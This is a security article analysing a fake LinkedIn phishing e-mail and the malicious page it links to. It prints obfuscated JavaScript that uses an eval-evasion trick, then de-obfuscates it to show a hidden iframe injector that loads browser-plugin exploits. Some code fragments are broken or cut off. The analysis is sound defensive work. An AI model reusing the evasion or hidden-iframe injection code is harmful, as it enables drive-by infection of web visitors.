Anatomy of a Modern Malware Attack
By Justin C. Klein Keane <justin@madirish.net>

The constantly changing threat landscape facing modern information security practitioners means that new attack vectors and opportunities for defense are constantly emerging. Part of the process for understanding the shifting landscape involves actively pursuing known malware attacks to dissect the attack vector, methods, and techniques by adversaries.

One common form of attack is to send e-mails to potential victims and trick them into clicking on links. I recently received an e-mail purporting to be from LinkedIn, the popular business networking website, notifying me that I had a pending request for connection. Since I don’t have an account on LinkedIn it was easy for me to spot the fraud. Following up on the attack, however, proves insightful. This article is designed to walk readers through the process of understanding, following, and reporting the attack properly.

The Email Threat

The malicious e-mail in this particular attack arrives as an HTML encoded e-mail that looks exactly like a legitimate communication from LinkedIn. It is not uncommon for scammers to copy the entire text of such notifications verbatim.

Copyright © Justin Klein Keane
Examining at the e-mail source reveals, however, that the target website to all the links is not, in fact, part of the LinkedIn domain. Note that the href element for each anchor tag does not point to the LinkedIn domain, but instead to another, completely unrelated, domain. Whether this domain was set up for the scam, or was compromised and is unknowingly hosting malware, is uncertain.
Investigating the Threat

The first step to following up on this attack is to look at the target website in a browser. This can be extremely risky, however, as there is a good chance that malware is embedded in the HTML of the site. Using a Linux based virtual machine with a sandboxed browser, such as Google Chrome, is a good approach to avoiding many of the dangers of pursuing the target. An even safer option is to use a command line utility, such as wget or curl, for downloading the target web page and saving a copy of the HTML. Once downloaded we can use any editor to examine the source in relative safety. In the following screenshot I used the 'less' command to view the source:
As you can see the displayed HTML is quite minimal, but the page contains a script that is an absolute mess. Looking at the JavaScript source code it is quickly obvious that the code is deliberately obfuscated to avoid detection. One common evasion technique is to break up commands that are typical to attack scripts, such as base64encode or eval, that are easy to spot using signature based detection. The script in this page includes one command that reads 'e=window["eva"+"l"]' which is clearly an attempt to use this type of evasion technique to sneak an "eval" command past detection.

The first step to figuring out what this JavaScript does is to clean it up. Using an editor and adding line breaks, indentation, and cleaning up syntax makes the code somewhat easier to read.

```html
<html>
<body>
<script>
4 s="";
5 h=016/7;
6 document.write("Trying<br/>");
7 try{
8 q=document.createElement("p");
9 a=q?"appendChild":12;
10 q[a+"hild"](""+n);
11 }
12 catch(qw){
13 f=q?"fromCharCode":2;
14 try{
15    eval("a=prototype");
16 }
17 catch(zxc){
18 e=window["eva"+"l"];
20 if(window.document) {
21    for(i=0; i<0;i++){
22       k=i;
23       s=s+String[f](n[k]/(i%(h*h)+4));
24    }
25    document.write(s);
26    //e(s);
27 }
28 }
29 }
30 </script>
31 </body>
32 </html>
```

Copyright © Justin Klein Keane
The most problematic portion of the code is the variable "n" which is assigned a long string of
digits that is parsed into an array with the split command (splitting on periods). After this
array is populated the script runs an arithmetic operation on the numbers and casts them to
strings then passes them through the "eval" function to execute the resulting JavaScript. By
commenting out the eval function and replacing it with the Javascript document.write we are
able to print the script rather than executing it:

```
if (document.getElementsByTagName('body')[0])
  { iframer(); } else
  { document.write('');
    function iframer()
      { var f = document.createElement('iframe');
        f.style.visibility = 'hidden';
        f.style.position = 'absolute';
        f.style.left = 0;
        f.style.top = 0;
        f.setAttribute('width', '10');
        f.setAttribute('height', '10');
        document.getElementsByTagName('body')[0].appendChild(f); }

Now that this is done it is clear that the JavaScript loads up an iFrame that probably contains
some malicious content. Pulling up the URL in a browser loads up a Flash object that crashes
almost instantly. Sophos antivirus recognizes the script as Troj/ExpJS-Cl or
Exploit.JS.Agent.bko that affects Windows. Of course, loading the page in a browser is a bit
foolish.
Downloading the source for the page, again using wget, reveals a fairly complex attack script. Once more it is obfuscated, but in a similar way. By using the document.write function we can de-obfuscate the source.

```javascript
document.write(""

\n
Please wait page is loading...

\n
\n
Looking at the resulting code reveals a fairly sophisticated attack platform that determines browser and platform information before launching an appropriate attack, from the Microsoft XMLDOM attack, to Flash, to ActiveX or other plugin exploit.

Conclusion

Now that we've identified the attack vector, a browser plugin based attack, and associated domains we can halt our investigation. If time and resources permit it could be possible to set up a sandboxed environment and attempt to visit the page and deliberately infect the sandbox in order to observe the malware's behavior. At the very least, it is prudent to report the malware domains. Google's Safe Browsing initiative hosts a page at [http://www.google.com/safebrowsing/report_badware/](http://www.google.com/safebrowsing/report_badware/) for reporting malware. It's a good idea to report malware sites to prevent others from infection. You may also want to report the e-mail to the organization it is purporting to originate from, although this is usually more helpful when the e-mail is a phishing attack (i.e. the links in the e-mail point to a URL that appears to be the site's actual URL, for instance a fake banking site that attempts to lure users into entering their credentials).

Copyright © Justin Klein Keane